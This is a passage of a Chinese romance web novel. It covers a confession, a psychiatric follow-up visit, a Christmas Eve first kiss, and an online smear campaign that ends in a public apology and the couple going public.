“我觉得我在和窝窝一起长大,这场庆典也有我的一份。我很贪心,竟然贪心到去嫉妒一只小兔子。”
“那不是撞邪,庄明越。”费臻的声音带上了一丝不安的颤抖,“那是我给自己最强的心理暗示。”
“我把自己代入了
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窝窝。”
“只有这样,我才能熬过那些疼得想死的夜晚,才能在看不到尽头的复健里,找到一点点被照顾被珍视的证据。”
“我知道你讨厌我,我也不敢去找你,发现你就是窝窝的主人后,我也一直拖着,直到刷到窝窝竟然离开了,直到看到你发了一条想追随窝窝一起走的微博,我知道再也拖不下去了,敲开你的门,说蹩脚的谎话,和你一起生活。我也很讨厌这样不干不脆的自己。”
“第一次带你去浙一开药之后,我自己也去了一次。医生说我并没有心理问题,只是执念太过,和记忆产生了混淆,希望自己真的是窝窝,有明确的理由和动机能来到你的身边,能够不离开你。”
“医生建议我和你分开,从物理上完全隔绝,最好不要再联系,可我做不到。每天收不到你回复吃药的消息,总觉得心里不踏实。我总想着,等你再好一点,再恢复一点,再告诉你,到那时候,我们再像《遇见》里唱的那样分别,你为这首歌写的歌词,可以当作一种纪念。”
“可我从始至终都太贪心。”
“对不起,长久以来,对你说了谎。”
庄明越静默着听完费臻的自我剖析,眼眶完全红了。
断续两年的梦境,原来是费臻在遭遇重大创伤后,有意无意为自己构建的一个精神避难所。
一场惨烈的车祸,一次偶然的微博推送,一段濒临崩溃时的心理暗示。
可是日渐好起来的费臻并没有忘记窝窝和他,他走到他的门前敲开门,向他伸出了手。
庄明越的声音完全哽住了:“你为什么不早点来找我和窝窝?”
费臻轻轻摇头:“我不敢说,难道要说‘庄明越,我出了车祸差点残废,偷窥你的养兔微博当止痛药,结果上瘾了,天天梦到自己是你的兔子’?”
“因为这些梦,我开始分不清,我对你的感觉,到底是因为梦,还是因为你这个人。”
“我怕。怕告诉你真相,你会觉得我是个变态,靠着偷窥你和窝窝过活。而且我不知道原来窝窝病得那么重,你花了那么多钱,如果我早一点去找你,帮你一起给窝窝治病,也许它就能活得更久一些。想到这些,我就无法原谅我自己。”
费臻深吸一口气,“一直很怕告诉你这些。如果你难过,我也会跟着难过。有时候我想着,要是能瞒一辈子就好,但我不能做那样的事。庄明越,对不起。”
费臻和庄明越站在宠物医院门口,隔着一步的距离,无声地对视。
费臻在等他的最终审判。
许久,庄明越缓缓走上前,握住了费臻冰凉的手指。
费臻的手指在他的掌心微微颤抖了一下,然后猛地收紧,反握住他。
他低下头,额头抵上庄明越的肩膀。
庄明越任由他靠着,轻轻环住了他紧绷的后背,随后手指从费臻的脊骨滑落下去。
他隔着衣服布料,摸摸那处凸起的手术疤痕,在费臻耳畔低语。
“你所害怕的那些,我都不在乎。”
“你没有对不起我,你为我做了几乎所有你能做的事。你不要为窝窝难过,我已经找了最好的医院和最靠谱的医生,也带它去过上海和北京治疗。费臻,窝窝的病是基因决定的,从一开始医生就让我做好心理准备,只是我内心还是无法承受,但我也明白,现代动物医学的作用有限,对兔子基因疾病的治疗还没取得长足的突破,窝窝的结局并不是谁能改变的。”
“还有,如果你因为我感到内疚,只能说明我对你的回应还不够。所以费臻,我想告诉你一点,你为什么看到我难受就会难过,你为什么不想和我分开,你为什么惧怕我的厌恶。费臻,你看着我。”
庄明越摸完费臻腰上的伤疤,抬起双手,捧住费臻的脸。
他看向他眼中自己的倒影,笃定而缓声地解开症结。
“是因为你在乎我,从一开始就在乎我。”
费臻被捧着脸,轻轻地点了一下头。
“费臻,给你一个机会。”
“什么?”
庄明越眼眶红红的,表情却很平静:“除了对不起,你是不是还漏了什么话没对我讲?”
“是还有一句。”费臻抚上庄明越放在他脸颊上的手,精准地捕捉到了庄明越的无名指,另一只手替他擦掉即将滚出眼眶的眼泪。
“我喜欢你,想和你一直在一起。”
27. 第 27 章
庄明越坐在精神卫生中心候诊区的蓝色塑料椅上,指尖无意识地划拉着手机屏幕。
屏幕上是来自精神科线上问诊配药平台的短信:【元旦假期前一周,医心平台物流停运,请提前通过APP备药。医心全体人员预祝您及家人元旦快乐!】
26年最后一个月中旬,药又吃完了。
复诊是例行公事,但庄明越还是提前约了费臻陪他一起来。
粉色药片吃了半年整,适应良好,一直没换其他药,庄明越料想,这次也是一样,开相同剂量的药,预约下次复诊,没什么好担心的。
费臻坐在他一旁,接了一个电话,对庄明越说:“乐队要有新成员加入了。”
“吉他手?”
“嗯。”
庄明越弯起眼角:“恭喜你,以后不用这么累了。”
费臻悄悄牵起庄明越的手:“好看爱看,可不可以多笑?”
庄明越没回答,微挣了一下,没挣开,也就随他去了。
叫号电子屏上跳动着数字和加密了星号的患者姓名,庄明越被费臻握着手,思绪有些飘散。
他想起了窝窝最后的日子,那时候,他抱着越来越轻的窝窝,觉得自己像被困在一场永远不会醒的噩梦里。
后来梦醒了,很难熬,他一度以为自己再也熬不下去,可是费臻出现了。
直到现在,他们交往一个月整,庄明越都觉得这不像真的,像是场杜撰出来的梦。
庄明越想流泪,但药物作用让他情绪麻木,只是眼睛有些微的湿润。
费臻像是发现了什么,又握紧了一些。
“28号庄*越,请到2号诊室就诊。”
叫号屏和提示音打断了庄明越的回忆。
他深吸一口气,站起身。
费臻也立刻收起手机,跟着站了起来,揉了揉庄明越的脸颊。
“去吧,想到什么都和医生说说,我在外面等你。”费臻说。
庄明越点点头,推开诊室的门走了进去。
熟悉的医生,熟悉的问询,医生在键盘上噼里啪啦打字,只是这次没有了摇头叹气,记录完病例后抬起头对庄明越说:“吃得也算久了,肝功能正常,日常生活可以,没有自杀意念了,咱们减药,早上一片晚上两片,半个月后如果没有异常,就早一晚一,一点一点来,好吧。”
医生叮嘱继续按时服药,保持规律作息,定期复查。
今天的复诊只用了不到五分钟,庄明越拿着新处方走出诊室时,感觉脚步都轻快了些。
费臻看到他这么快出来,问道:“怎么样?”
“还好,药量减了一点。”庄明越晃了晃手里的白色单据。
“嗯。”费臻应了一声,自然地伸手接过药单。
费臻排队拿药,庄明越和他肩并肩站着。
这天是周末,取药的患者不少,其中不乏来精神科开药的人,有的神色如常,有的郁郁寡欢,还有比较亢奋的,小小的取药窗口,几乎能看见众生百态。
排队等待时,一个突兀的声音在不远处响了起来:“我的脚到底什么时候才能好!”
声音很耳熟,庄明越和费臻同时转头看去。
坐在轮椅上的年轻男人穿着一身病号服,被一个护工推着,正从康复科的方向过来。男人脸色苍白,带着大病初愈的虚弱和明显的烦躁,两条腿都打着厚厚的石膏。
此人赫然是陈子深。
推着他的护工低声劝慰着什么,陈子深却只是烦躁地别过头,无意间扫过取药窗口的队伍,视线猛地顿住。
一瞬间,陈子深脸上的烦躁被惊愕取代。
他没想到会在这里,以这副模样遇见费臻,还有被他搞了个恶作剧就闹到退学的庄明越。
听说这两个人现在混得不错,看脸色和穿着岂止是不错,庄明越那双鞋就抵他以前半个月零花钱。
陈子深磨了磨后槽牙,真心希望庄明越一辈子落魄下去,但现实狠狠给他一记大耳光,他不得不意淫这两个人是不是得了什么治不好的毛病,才跑到这里开药。
他想着怎么样和二人打招呼,顺便解释一下自己现在这个样子。
他被甩了之后,偷来前女友的猫放到马路上,想让它受惊跑到车流里去,结果心软犹豫了一下,犹豫间反而被猫挠,胡乱退开时掉进了施工的臭水沟,但这么糗的原因,他肯定不能对外说。
庄明越也没想到会在这里遇见陈子深。他看着轮椅上双腿几乎裹成米其林logo的人,再看看身旁的费臻,庆幸费臻已经好了,现在骨折的另有其人。
他察觉到陈子深的视线落在他脚上,轻微地扭动了一下脚踝。
鞋是前两天费臻送他的,二人在一起后的第一件礼物,问费臻多少钱也不肯说,只说是便宜货,让他穿着玩,约好了一起爬山去庙里拜拜,争取抽中上上签,让窝窝投个好胎。
此刻庄明越穿着脚感舒适的登山鞋,再看看陈子深那个穿不了鞋的样子,冲着陈子深露出一个浅淡且嘲讽的笑容。
陈子深被笑得鬼火直冒。
费臻则是淡淡地瞥了陈子深一眼,随后身体一晃,遮住庄明越,隔绝了陈子深的视线,垂
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头去问庄明越累不累渴不渴,从袋子里拿水给他。
这种彻底的漠视,比任何言语的打击都更具杀伤力。
陈子深的脸瞬间涨红,嘴唇颤抖,但费臻递过水,又抬起头看向他。
陈子深对上费臻那平静却让人心底发寒的眼神时,本能地感到惧怕,所有恶毒的话都卡在了喉咙里。
他猛地转回头,对护工低吼:“愣着干什么,还不推我回去!快点!”
护工连忙推着轮椅,调转方向,匆匆离开。
庄明越看着陈子深消失在走廊拐角的背影,想起费臻说的两年前的车祸,也是浙一做的康复训练。
他轻声问:“你复健也是在这里?”
费臻“嗯”了一声,目光依旧看着取药窗口:“骨科和康复科在隔壁楼。”
感受到庄明越的视线经久未动,费臻转头,低声询问:“怎么了?”
庄明越实话实说:“有点心疼。”
“只是有点?”
“好吧,你都不跟人说,不知道你是怎么熬过来的。”庄明越叹了口气,“一想到那时候的苦巧费列罗,就感觉特别闹心。”
“不闹不闹,现在都好了,是甜的。”
听到费臻云淡风轻的安慰,庄明越的心反倒轻轻一揪。
那时候的他完全不知道,偶尔在小号上记录与兔子相依为命的点滴文字和图片,却成了另一个人在绝望囹圄中的唯一慰藉。
费臻和朋友们夸庄明越坚强,只有庄明越自己知道,真正坚强的是费臻,还有窝窝。
窝窝。
他的窝窝。
是这个脆弱的小生命,用它的存在支撑了庄明越最灰暗的两年,还在另一个人梦境中留下了痕迹,将两个在各自深渊边缘徘徊的人,重新拉扯到一起。
取完了药,二人走出医院大楼。
庄明越在台阶上站定,看着手里装着药的塑料袋,又抬头看了看身边沉默的费臻。
费臻陪着庄明越站着,也不问为什么,只是微眯着眼,望着远处车流不息的十字路口。
“费臻。”庄明越叫了他一声。
费臻转过头。
“回去路过超市,我想买点油麦菜给窝窝。”
“给小兔鬼的供品?”
“对。”
“多买一份,我也要吃。”
庄明越点点头:“那走吧。”
“嗯。”费臻也点头,接过庄明越手里的药袋,另一只手牵住了庄明越的手。
他们走下医院台阶,汇入喧闹的人潮。
—正文完—
28. 番外1
十二月的最后一个星期,商业街街道两旁的树上缠绕上星星点点的小灯泡,商场广场的正中心还搭了一个巨大的发光麋鹿拉雪橇像。
住在商圈的庄明越对这种节日向来无感。
过去两年的圣诞节,不是在赶稿,就是陪着窝窝体检,节日也只是日历上一个普通的日期。
但今年不一样,身边多了一个人。
平安夜这天,费臻傍晚到家,手里拎着一个超市购物袋。
他对庄明越说了声“我回来了”,径直走到厨房,从袋子里拿出羊肉卷、虾滑、剥了壳的鹌鹑蛋,以及种类丰富的蔬菜。
庄明越慢悠悠地从沙发上站起来,走到费臻的身边。
“晚上吃火锅?”
“嗯,你说好久没吃虾滑了。”费臻解释了一句,继续掏袋子。
购物袋里面除了日常食材,还有一瓶红酒、一袋香料包、一袋橙子和两颗圆滚滚的红苹果。
费臻用温水洗了一颗苹果,往庄明越的脸上贴了一下。
庄明越笑起来:“痒,别闹。”
回应他的是落在脸颊的轻轻一吻。
庄明越接过苹果,咬了一大口,指指红酒:“要庆祝什么吗?”
费臻偷袭成功,把红酒、香料包和另一颗苹果单独放到砧板一边:“平安夜,煮点热红酒。”
庄明越有些意外。他只在电影里见过那种冒着热气的红酒,感觉是属于更西式和更热闹的场景,比如和乐队的大家一起聚会。
“乐队不聚?”
“阿太和双叶回老家了,过儿和姑姑陪毛孩子。本来想邀请他们两个,顾梦说什么也不答应,一直对过儿使眼色,不知道她怎么想的。”费臻说完,开始清洗蔬菜,“不管他们了,就我们俩过。”
“我们俩”三个字他说得很自然,庄明越心里却微微一动。
换了住处后,空间大了不少,也有了正经吃饭的餐桌,直径一米二的圆桌放满食物,精致摆盘,很有平安夜的氛围。
纯白色的长方形电火锅摆在餐桌中央,番茄锅汤底咕噜咕噜地滚起来,香气慢慢飘散在餐厅里。
两人相对而坐,安静地涮着食物,偶尔交谈几句食物火候和和彼此的工作进展。
气氛恬静,眼神总是对上,也不知是谁在偷看谁,抑或者互相窥探。
吃完饭,收拾好碗筷,费臻开始鼓捣红酒和香料。
费臻之前询问过医生,得知庄明越可以适量饮酒,他才把材料都买回来。怕庄明越喝醉,特地选了一款度数最低的红酒,但也存了几分让庄明越小酌放松的意图。
他把红酒倒进小奶锅,加入切片的苹果和脐橙,丢入香料包,又加了点冰糖,开小火慢慢煮。
很快,一股混合着果香、酒香和温暖香料的气息在屋子里弥漫开来,又香又甜,闻起来热热闹闹,很温暖。
费臻觉得再加个壁炉给庄明越烤火就再完美不过,他把这个念头存下来,届时和房东阿姨沟通。
庄明越坐在沙发上看网上好友们最近上传的画作,目光却不由自主地被厨房的动静吸引。
暖黄的灯光下,费臻穿着酒红色带麋鹿图案的针织毛衣,袖子挽到手肘,侧身站在灶台前,手里的硅胶铲很有节奏感地搅动液体,嘴里念着什么歌词,像在进行某种神秘的祷告。
庄明越笑着用平板画起了费臻。从前他画费臻是英俊主唱,如今加了男友滤镜,则是美神降临,简直不好意思拿给费臻看。
锅里的红酒开始冒起细密的小泡,香气越发浓郁。
费臻关了火,拿出成对的细长高脚酒杯,滤出香料和果渣,将热红酒倒入杯中。
深红色的液体在杯子里荡漾,他微微晃动杯身,将第一杯递给庄明越。
“尝尝看,当心烫。”
庄明越连忙倒扣平板,接过酒杯,小心地抿了一口,觉得酒味被煮得柔和了许多。
和之前喝黄酒的感觉完全不同,水果和香料的味道完美地融合在一起,顺着喉咙滑下,一直暖到胃里,全身上下都很舒适。
“好喝。”庄明越诚实地评价,又喝了一大口。
费臻自己也喝了一口,端着杯子走到沙发边,在庄明越旁边坐下,两人之间隔着一个抱枕的距离。
虽然是老旧的房子,但隔音良好,气氛实在太安静,庄明越便随手点开一首歌,连上客厅音响蓝牙。
一阵安静却轻快的旋律后,女声响起。
“初めてのルーブルは
なんてことはなかったわ
私だけのモナリザ
もうとっくに出会ってたから
初めてあなたを見た
あの日動き出した歯車
止められない喪失の予感
(第一次去卢浮宫时
并没有什么特别的感觉
因为独属于我的蒙娜丽莎
我早已遇见
初次遇见你的那天
齿轮开始转动
无法停止那将要失去什么的预感)
……”
费臻听到旋律,愣了一下。
这首歌是宇多田光的《One Last Kiss》。
他大学时和庄明越都睡上铺,经常听着这首歌入睡,有一次蓝牙耳机出了问题,吵到对面的庄明越睡觉。
庄明越看到费臻的表情,笑了一下:“那时候耳机漏音,我记了两句旋律,在网上问了很久。好听。”
“怎么不问我?”
“你有起床气,凶巴巴的,怕问了你不理我。”
“我凶吗?”
“恰恰相反。”
费臻笑了,又问:“明天圣诞节,你有什么安排?”
“没有。”庄明越算了一下日期,“刚把Doctor的画裱框,同城快运给买家,周编辑让我休息到元旦过后。我想和你一起过27年的第一天,那天你有事吗?”
“圣诞和元旦都陪你过。”费臻注视着庄明越,很温柔地笑了,“干个杯?”
庄明越点了点头,问:“祝酒词呢?”
“就祝,小月亮和巧克力交往一个月快乐。”
“噢……”庄明越笑了起来,“好啊,cheers!”
二人收回看向彼此的视线,费臻晃动高脚杯,慢悠悠地饮下,庄明越闭起眼,将剩下的半杯一饮而尽。
空气中浸满了热红酒的香气和暖意。
庄明越没有要第二杯,脸颊微微发热,身体放松地蜷在沙发上。
“费臻,”庄明越开口,声音因为酒意而比平时软了一些,“你前两年的圣诞节都是怎么过的?”
除了一个月前费臻的真心流露,还有庄明越养兔的日常,他们彼此心照不宣,很少谈及前两年发生的事。
听庄明越再次主动问起,费臻又晃了一下酒杯,在茶几上放好,眼神温和地看向他。
“前年在家休养,去年演出结束后和大家喝了一顿。今年就这样,我觉得很好。”
庄明越点头,又喝了一口酒,甜暖的液体让他的思维有些发散,胆子似乎也大了点,垂手放下杯子,伸出手,手臂掠过二人中间隔着的抱枕,去探费臻的手。
费臻反手回握,身体向后靠进沙发里,仰起头,喉结滚动了一下。
客厅里安静得能听到彼此呼吸的声音。再加上热空调的风声和音响里女声温柔的歌唱,混合成一种朦胧而蛊惑的背景音。
“庄明越。”费臻忽然叫他的名字,声音有些哑。
“嗯?”
“我说过的,”费臻的声音很低,却字字清晰,带着酒后的微醺和破釜沉舟的坦诚,“我很想再吻你。”
庄明越猛地抬起头,撞进费臻的眼中。<
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“不是开玩笑。”
“我知道,你说过两遍,”庄明越想起笨笨那次的事,觉得好笑的同时,又替费臻感到心酸,“那时候我当你是开玩笑,但你真的说你是开玩笑,我反而心里空落落的。”
“现在呢?心里还空吗?”
“不空了。”
“那很好。”
费臻坐直了身体,丢开二人之间的抱枕,倾身过去,脑袋一歪,枕在庄明越的肩膀上。
发梢挠得庄明越的脸有些微痒,他听到费臻说:“我们的交往,我所说的喜欢,我都不想停留在表面。”
费臻还说:“想吻你,也想被你亲吻,普通男女之间做的事,我都想和你尝试,但我不知道你怎么想,担心你介意,所以一直没有主动发起。如果你说要柏拉图,我也同意。但如果能更进一步,我会很开心。”
他说得很慢,每一个字都经过深思熟虑,却又带着滚烫的温度。
庄明越完全僵住了,大脑一片空白,心脏在胸腔里剧烈跳动的嘈杂声响震得他耳膜生疼。
酒精让他的反应变得迟钝,但费臻话语里的重量和清晰无误的意图,却如同热刀切黄油块,轻松破开了他所有的防御。
费臻对他的喜欢,并不停留在心理层面。
他想触碰,他有欲望。
“我……”庄明越想说点什么,却发不出完整的声音。
费臻没有催促,只是直起身,静静地看着庄明越,等待着他的反应。
庄明越看着费臻近在咫尺的脸,看着他眼中满满的都是自己的身影。
太超过了,没想到会发展成这样的关系,没想到听到费臻说这样的话,心头涌起的不是厌恶,而是悸动。
庄明越这样想着,闭上了眼睛,通过鼻息,找准了费臻的嘴唇。
触碰的瞬间,两个人都微微一震。
触感比想象中好很多,带着热红酒的甜香和一点点微温的湿润。
起初二人只是轻柔的触碰,都带着试探的小心翼翼。
庄明越被亲到了嘴里的痒痒肉,发出一声带着鼻音的闷笑。
费臻的呼吸骤然加重,他伸出手,双手紧紧攀附住庄明越的后背,加深了这个吻。
费臻主动而又热情,属于摇滚主唱的肺活量惊人,庄明越逐渐招架不住,有些喘不过气,手指无意识地攥住了费臻毛衣的下摆。
布料柔软厚实的触感从指尖传来,他像溺水者抓住救命稻草,拽得更紧,喉咙底发出失控的闷哼声。
柔软缠乱的水声应和着彼此逐渐交错的呼吸。
上瘾沉迷,不愿停下。
直到谁不慎被咬了一口,这个真正意义上的初吻才终于结束。
两人缓慢地分开,发出“啵”的声响,都微微喘着气,额头相抵,呼吸交融,看向彼此亮晶晶的眼睛。
费臻的手依旧托在庄明越的后背,掌心滚烫。
庄明越的眼眶完全湿润,但不是伤心的泪。
他瞥了一眼墙上的时钟,再垂眼看向费臻被他抠出洞的衣服下摆,小声抱怨:“我以为只亲几秒,你给我亲半个小时,好坏!”
费臻看着庄明越这副模样,喉结略微滚动,眼里是灼人的光,比在舞台时更热烈。
少年心气是不可骤得亦不可再生之物,他却在庄明越身上一而再、再而三地得到。
独属于他的蒙娜丽莎,他早已遇见。
月有阴晴圆缺,但无论哪一种形态,他都发自内心地喜爱。
当他抬起手,月亮便向他靠近。
于是费臻摘到了月亮。
“庄明越,我们在一起了,可我还是想经常对你说:我爱你。”
庄明越把呼吸喘匀之后,拖长了声音回答:“知道啦。”
在费臻催促的眼神下,他笑了起来,也告白说,“费臻,我也爱你。”
29. 番外2
庄明越遇到了线上退稿的第一单。
是微博破两万粉的转发抽奖福利单,对方看到画稿后,却找到了画手垃圾桶bot挂人。
【避雷某万粉画手,抽奖中了张指定画,但画风根本不是我要的,浪费我感情和等待的时间,问问赔多少精神损失费合适?】
虽然是匿名挂人,但所有的线索都指向了明月不照我。
庄明越刷到微博推送的时候在吃晚饭。
费臻坐在对面,往他碗里夹了一筷子最嫩的小青菜芯。
庄明越抬头笑了笑,笑容有些勉强。
费臻看他表情不对:“怎么了?”
“没事,吃饭要紧。”庄明越把手机屏幕倒扣在桌上,低头扒饭。
这天晚些时候,那条bot底下吵了七八百条。
【抽奖免费福利还挑三拣四?你给钱了吗就要精神损失费?】
【刷到解码了,虽然是圈外人但本人也是美术相关专业,原po画得这么好还避雷?和你的要求也符合啊,完成度超高,你的雷点难道是画得太完美吗?】
【抽奖不就是拼运气吗,不满意可以私下沟通,挂人几个意思,该不会是同行竞争……】
也有零星几个阴阳怪气的:
【你月随手一画,粉丝吻了上来。】
【画得烂就是烂,真的画得好早就百万粉了,吹什么吹!】
一来二去,骂战升级。帖子被转了几千条,评论区已经彻底失控,说什么的都有。有人开始翻庄明越以前的画,有人扒他的个人经历,还有人开始质疑他的人品,说他和早已退圈的唐老鸭是一伙的,就连画也是抄的。
很快,庄明越发了一条微博回应,语气很克制:
【感谢大家关心,福利稿是我用心画的,没有模仿或抄袭任何其他作品,请勿捕风捉影,如果有不满可以私下沟通,希望大家理性讨论,不要升级矛盾。】
但他的呼吁并没有起到什么作用。争吵已经转向了其他话题,之后的两天持续升级。
第三视角小群,周双叶最先刷到了这件事,转发到群里后,小群炸了。
几人一条接一条地发消息安慰庄明越。
叶子x2:【庄老师你千万别往心里去,互联网上就是什么人都有,权当踩到一脚狗屎,咱洗洗早点睡,他们现在吵架的重点也不在你身上了,过两个星期就没人记得了。】
梦中人的梦中:【不是你画的问题,是你运气差了一点,抽中了一个找茬的黑粉。下次抽奖可以严格筛选中奖人员,设个门槛。】
过儿:【谁敢挂庄老师?报个名字,我让笨笨去他家门口拉屎!】
阿太:【……笨笨能找到门吗?】
过儿:【我牵着它找!】
费臻少见地没有在群里发言。
庄明越放下手机,去找费臻。
楼下卧室没人,庄明越想了想,往楼上走去。
楼上南边是露台,北边有个空房间,之前被房东一家用来堆放杂物,后来费臻将它改造成了小型健身室。
庄明越敲了敲门,听到费臻说了一声“进”。
费臻站在健身器材前,手臂肌肉绷紧,青筋暴起,正在练肩。
面无表情地拉练,很帅,也很凶。
庄明越可以想到,费臻正因为他的事心情不好。
庄明越靠在门框上欣赏美男生气,心里的烦闷淡了一些。
“练多久了?”
费臻没停:“一个小时。”
“那很厉害了,休息休息?”
费臻沉默片刻,说:“那个人我找到了。”
庄明越愣了一下:“谁?”
“挂你的那个人,她不是无缘无故找你麻烦。”费臻停下来动作,拿起一旁架子上的毛巾擦了擦脸上的汗,“碳酸钾之日,你认识吗?”
庄明越经常刷到这位画师的作品,闻言点头:“她和我画得类型还有风格都差不多,比我晚一年注册账号,多几千粉。”
费臻微微叹息:“就因为和你画风类似,怕你抢她生意,打了五十块钱让那人抹黑你。”
庄明越沉默片刻:“真的?”
费臻把毛巾搭在肩上,用眼神安抚庄明越,但没有走近。
庄明越靠近,费臻退开。
庄明越:“怎么了?”
“出了汗,你别靠近。”
庄明越笑了一下,抬手抹掉费臻上臂的汗水:“你没味儿,还有点香,真的。我很严格。”
费臻也跟着笑了笑:“你的微信可以叫AAA闻香师庄老师。”
“别闹,你怎么找到挂我的人的?”
“我有我的办法。我找了碳酸钾,她说她没想闹这么大,只是希望对方说说你的坏话,让你被平台限流。她也知道自己捅了多大的篓子,想和解,问我能不能把影响降到最小。”
“你怎么说的?”
“我说要看你的意思。”费臻看着庄明越,“你想怎么处理?我全力支持你。”
庄明越想了想。
“让她写清前因后果,公开道歉吧,现在多方混战,吵得这么凶,大家都需要真相。”
第二天,画师碳酸钾之日发了一篇长微博。
她把自己如何嫉妒庄明越、找到中奖者花钱买通的经过,全都写得清清楚楚。
最后是一段长长的道歉,没有任何的狡辩,态度十分诚恳,情感十分真挚。
但她能做出这样的事,不买账的网友还是占了大多数。
之前那些跟风骂庄明越的人,又一窝蜂地涌到了她的评论区里宣泄被戏弄后的戾气。
庄明越的微博底下则是多了一大波道歉和安慰的留言。
【我真该死啊,明月老师对不起,之前被带节奏了,带有色眼镜说你画得烂……】
【你们看被我说中了吧,真的是同行打同行,不是同行不会这么恨的!】
【心疼老师,免费画稿还被倒打一耙,恶性竞争要不得。】
【老师加油,我去橱窗下一单支持你!】
庄明越一条条刷过去,脸上没什么表情。
费臻坐在旁边,看着他。
“不开心?”
庄明越摇摇头:“这次谢谢你。”
“我们不是一家人吗?”费臻搂住他,蹭了一蹭。
庄明越顺势往费臻身上靠了靠,肩膀紧挨着肩膀,像两只相互依偎着过冬的小鸟。
费臻又开始了新专辑的创作。
每天不是闷在房间里写歌,就是和乐队排练。
庄明越看在眼里,什么也没说,只是把家里的事都揽了过来。
做饭、打扫、给多肉和龟背竹浇水,还帮费臻擦亮他的耳饰和手环腿环,熨那些他懒得熨的演出服。
他强打精神,展现出最稳重的一面给费臻看。
费臻很快察觉到了。
有好几次,他放下正在写的乐谱草稿,走到庄明越背后抱住他,说一会儿段子给庄明越听。
庄明越听到后来总是被逗笑,对费臻说:“你可以去脱口秀了。”
“如果你想,我会去的。”费臻又问,“你想公开我们的关系吗?”
庄明越回答:“能公开当然好,但我觉得你应该慎重考虑。其实我没关系的,只要你心里有我就够了。”
费臻的脸蹭蹭庄明越的肩膀:“哪怕同一时空有多少个小庄,我也只要我眼前这位。”
庄明越拍拍他的头:“停止对我散发魅力,情话留到歌里去唱。”
一个月半后,费臻的新专辑闪亮登场。
十首歌的曲子都是他写,冯泰和郭扬轮流编曲,顾梦和周双叶还有她们二人的好友填词,但其中有一首的编曲和填词都是费臻自己亲自操刀,谁的手也不经过。
冯泰第一次听完《瑶台镜》的demo,整个人都不好了。
“受不了了受不了了!”冯泰在排练室里来回踱步,走得同手同脚,表情狰狞,“靡靡之音!这绝对是靡靡之音!”
郭扬靠着隔音墙,悠哉悠哉地小口品意式浓缩:“我觉得挺好的。我臻这次多高产啊,一个半月磨了十首出来,搁你你行?”
“我……”冯泰噎了一下,“这不是行不行的问题!是风格的问题!”
“也就那一首画风不一样。”郭扬的手指扫过曲目单上的其他歌,“那首《柠檬》,你不是爱得死去活来,说能和米津玄师的《Lemon》在你心中并列第一?”
冯泰被堵得说不出话,憋了半天,又跳起来:“可他《瑶台镜》写的是啥?兔子!桂树!月宫爱情!咱不是摇滚乐队吗?什么时候转型唱古风摇篮曲了?”
“古风摇篮曲?”郭扬乐了,“你听听那编曲,电吉他、贝斯、合成器,哪里纯古风了?赛博玉兔没听过?”
“那歌词呢!歌词总古风吧!跨度太大了,听众不买账事小,咱们整体颗粒度对不齐,被大孙听到笑话咱怎么办?”
“歌词怎么了,歌词很合适啊,孙照寒他要笑就笑,自己现在单飞混不出头,我还笑他呢!早知道臻哥填词这么有一手,梦梦就可以多休息休息了,她这两个月写歌词写得,麻将都搓不动了,健身房也少去了,下巴爆痘,头发掉了好几根!”
冯泰捂着脸,发出一声哀嚎:“郭扬你变了!你以前不是这样的!你以前也骂半支荼蘼他们那几个乐队是靡靡之音的!”
“我以前那是配合你,个人很喜欢这样的风格。”郭扬拍了拍他的肩,“更何况是我臻和庄老师成了,多是一件美事啊,你再跳脚我默认你是酸了。”
“滚!”
吵归吵,《瑶台镜》线上首发之后,好评如潮,比《遇见》和《唯一嘉宾》更快得火遍了全网。
这首
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歌不是纯古风,编曲里融了大量的电子元素和工业音效,电吉他的失真音色混着合成器的迷幻旋律,有种黛玉在月球上用电贝斯扫桂花的感觉。
古灵精怪的同时,创作者克制的感情被蕴藏在其中。
庄周梦蝶、明月天涯……大量的意象在歌词之中体现。
线上专辑发布的第一时间,就有明眼人看出来。
甜心费列罗今天熬夜了吗熬了:【刚下课发生什么了,不er,我们家费列罗官宣了?还是和明月不照我老师?】
视角解构-RocherV:【1】
视角解构-过儿V:【不知道什么时候能给我臻煮红豆饭?】
视角解构-阿太V:【早憋不住了,八百年前就想让全世界知道!】
甜心费列罗今天熬夜了吗熬了:【OMG……[捂心口]你们怎么一起出现在我评论区,商量好的吗?】
视角解构-过儿V:【毕竟刚过完元宵节。】
视角解构-阿太V:【罗谢说这个日子吉利。】
甜心费列罗今天熬夜了吗熬了@视角解构-RocherV:【我可以发去年九月底和明月老师的合影吗?】
视角解构-RocherV:【帮你问了,他说可以。】
甜心费列罗今天熬夜了吗熬了:【姐妹们快出来快出来,过年了!!![合影照片]】
底下立刻跟了一大串,先前沉默的大多数如雨后春笋,同一时间冒了出来。
【我靠!神预测!】
【明月老师好好看,可是好瘦啊可以说吗,有好好吃饭吗?】
视角解构-阿太V:【放心,这是以前拍的,明月老师现在身体倍儿棒,身体正在向他对象靠拢。】
【对象是什么意思?承认了?官宣了??铺垫呢???】
【cp粉不知道自己每天磕的糖写的同人就是铺垫[兴奋又幸福地猛掐人中]】
【罗谢你……你说好了单身一辈子的,你……唉算了,从你给人家po特签,我就知道会有这么一天,祝福,要和明月老师好好的哈!说好的份子我随了,买新唱片!】
【啊啊啊啊啊妈妈我搞到真的了!】
Cp超话空前热闹,就连半支荼蘼的主唱线香也在超话发来贺电:【终于脱单,可喜可贺。】
庄明越看到超话爆炸的时候,简直难以置信。
他盯着屏幕看了三秒,然后转头,看向靠在沙发上玩手机的费臻。
“罗谢老师。”他喊。
费臻抬起头:“嗯?”
“你这就官宣了?你问我能不能发和那个妹妹的照片,也是为了这件事?”
费臻愣了一下,随即弯起嘴角:“被你发现了。”
“你这样官宣了,万一我们吵架了,万一我们分手了,还有,万一我们那方面不合呢?”
“没有万一,我说过,吵架了生气了你可以去超话骂我。”费臻脸颊边的梨涡愈发显眼,“粉丝再多也只是一个凡人,有什么可伪装的,我喜欢你,我就要官宣。合适不合适,都是可以磨合的。还是说你生气,我没和你商量?”
“不生气,只是觉得好突然,我画画不太会有影响,可你是这么知名的摇滚歌手,会面临比以前更重的压力……”
“没有压力怎么叫摇滚?放心,我有足够的实力,不会因为出个柜官宣男友糊掉的。”费臻勾起庄明越的小手指,“你最重要,我想让大家都看到你,虽然也想把你藏起来,但最危险的地方就是最安全的地方,这样大家都知道你是我的了。”
庄明越看着他,看着他那张在阳光下显得格外柔和的脸,看着那双因为笑意而微微弯起的眼睛,忽然觉得心跳漏了一拍。
“巧克力……”
“怎么了,月亮宝贝?”
“你可不可以授权给我翻唱?”
费臻眨眨眼:“什么?”
